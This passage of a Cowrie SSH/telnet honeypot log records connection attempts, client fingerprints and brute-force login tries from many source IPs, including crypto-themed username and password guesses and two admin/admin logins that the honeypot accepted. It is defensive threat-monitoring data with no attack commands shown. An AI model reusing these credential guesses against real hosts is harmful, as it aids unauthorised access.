rt-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:48.963128Z","src_ip":"62.133.62.83","session":"7ba9aea85b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creator","message":"login attempt [root/creator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:49.225414Z","src_ip":"62.133.62.83","session":"7ba9aea85b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:59:50.310444Z","src_ip":"62.133.62.83","session":"7ba9aea85b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":42336,"dst_ip":"10.17.0.5","dst_port":22,"session":"085942ae9038","protocol":"ssh","message":"New connection: 162.144.105.39:42336 (10.17.0.5:22) [session: 085942ae9038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:17.223428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:17.228358Z","src_ip":"162.144.105.39","session":"085942ae9038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:17.317824Z","src_ip":"162.144.105.39","session":"085942ae9038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kabul_afghanistan","password":"kabul123","message":"login attempt [kabul_afghanistan/kabul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:17.590687Z","src_ip":"162.144.105.39","session":"085942ae9038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:20.718111Z","src_ip":"162.144.105.39","session":"085942ae9038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.46438097953796,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:00:27.812383Z","src_ip":"139.59.236.63","session":"9f7184cd0570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47212,"dst_ip":"159.203.135.109","dst_port":23,"session":"522f76612fba","protocol":"telnet","message":"New connection: 137.184.5.188:47212 (159.203.135.109:23) [session: 522f76612fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:01:41.825684Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":50248,"dst_ip":"10.17.0.5","dst_port":22,"session":"1003cc5b87e1","protocol":"ssh","message":"New connection: 162.240.20.137:50248 (10.17.0.5:22) [session: 1003cc5b87e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:03.848018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:03.855382Z","src_ip":"162.240.20.137","session":"1003cc5b87e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:03.943346Z","src_ip":"162.240.20.137","session":"1003cc5b87e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vitalik","password":"Vitalik$Ethereum#1","message":"login attempt [vitalik/Vitalik$Ethereum#1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:04.191256Z","src_ip":"162.240.20.137","session":"1003cc5b87e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:05.277393Z","src_ip":"162.240.20.137","session":"1003cc5b87e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":27430,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b4155860358","protocol":"ssh","message":"New connection: 147.45.199.80:27430 (10.17.0.5:22) [session: 5b4155860358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:07.929464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:07.933282Z","src_ip":"147.45.199.80","session":"5b4155860358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:08.031032Z","src_ip":"147.45.199.80","session":"5b4155860358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan4ik","message":"login attempt [root/ruslan4ik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:08.327536Z","src_ip":"147.45.199.80","session":"5b4155860358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:09.430421Z","src_ip":"147.45.199.80","session":"5b4155860358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.82807445526123,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:17.653471Z","src_ip":"137.184.5.188","session":"522f76612fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.12.3","src_port":34236,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea91c9765d5","protocol":"ssh","message":"New connection: 103.172.12.3:34236 (159.203.135.109:22) [session: 1ea91c9765d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:45.033859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:45.153727Z","src_ip":"103.172.12.3","session":"1ea91c9765d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:45.414562Z","src_ip":"103.172.12.3","session":"1ea91c9765d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:46.296772Z","src_ip":"103.172.12.3","session":"1ea91c9765d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:46.664307Z","src_ip":"103.172.12.3","session":"1ea91c9765d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":62462,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c76fb152ceb","protocol":"ssh","message":"New connection: 130.12.180.51:62462 (159.203.135.109:22) [session: 8c76fb152ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:46.909948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:46.912898Z","src_ip":"130.12.180.51","session":"8c76fb152ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:46.994197Z","src_ip":"130.12.180.51","session":"8c76fb152ceb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:47.238860Z","src_ip":"130.12.180.51","session":"8c76fb152ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:47.758321Z","src_ip":"130.12.180.51","session":"8c76fb152ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d245db4277","protocol":"ssh","message":"New connection: 162.214.5.224:37678 (10.17.0.5:22) [session: 09d245db4277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:50.268402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:50.271762Z","src_ip":"162.214.5.224","session":"09d245db4277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:50.374163Z","src_ip":"162.214.5.224","session":"09d245db4277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"binancesmartchain","password":"binance123","message":"login attempt [binancesmartchain/binance123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:50.643750Z","src_ip":"162.214.5.224","session":"09d245db4277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:51.735773Z","src_ip":"162.214.5.224","session":"09d245db4277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":35354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a9b29675adc","protocol":"ssh","message":"New connection: 208.109.189.255:35354 (159.203.135.109:22) [session: 9a9b29675adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:58.923367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:58.928952Z","src_ip":"208.109.189.255","session":"9a9b29675adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:58.990232Z","src_ip":"208.109.189.255","session":"9a9b29675adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"waves","password":"waves123","message":"login attempt [waves/waves123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:02:59.361884Z","src_ip":"208.109.189.255","session":"9a9b29675adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:00.430248Z","src_ip":"208.109.189.255","session":"9a9b29675adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33990,"dst_ip":"159.203.135.109","dst_port":23,"session":"533099bde358","protocol":"telnet","message":"New connection: 137.184.5.188:33990 (159.203.135.109:23) [session: 533099bde358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:17.890062Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":50418,"dst_ip":"159.203.135.109","dst_port":22,"session":"860083560a92","protocol":"ssh","message":"New connection: 178.128.39.166:50418 (159.203.135.109:22) [session: 860083560a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:23.575594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:23.747229Z","src_ip":"178.128.39.166","session":"860083560a92","protocol":"ssh"}
